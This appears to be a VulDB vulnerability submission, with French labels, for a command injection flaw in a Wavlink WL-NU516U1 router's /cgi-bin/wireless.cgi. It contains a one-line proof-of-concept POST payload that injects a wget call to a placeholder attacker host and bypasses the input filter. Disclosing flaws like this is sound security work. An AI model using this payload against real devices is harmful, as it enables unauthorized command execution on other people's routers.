| Titre | Wavlink WL-NU516U1-A M16U1_V240425 Command Injection |
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| Description | Class: Command Injection
Description: Wavlink WL-NU516U1 firmware M16U1_V240425 contains a command injection vulnerability in /cgi-bin/wireless.cgi. When page=DeleteMac, function sub_402D1C reads delete_al_mac POST parameter and passes it to del_mac.sh via sprintf, executed through system(). The $(cmd) syntax bypasses the input filter.
PoC: POST /cgi-bin/wireless.cgi body: page=DeleteMac&delete_list=AA&delete_al_mac=$(wget http://attacker:6666/callback) |
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| La source | ⚠️ https://github.com/Svigo-o/Wavlink_vul/tree/main/wavlink-wl-nu516u1-wireless-deletemac-deletealmac-command-injection |
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| Utilisateur | aimless (UID 89799) |
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| Soumission | 20/05/2026 10:43 (il y a 5 mois) |
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| Modérer | 07/06/2026 12:00 (18 days later) |
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| Statut | Dupliqué |
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| Entrée VulDB | 325828 [Wavlink NU516U1 M16U1_V240425 DeleteMac Page /cgi-bin/wireless.cgi sub_402D1C delete_list élévation de privilèges] |
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| Points | 0 |
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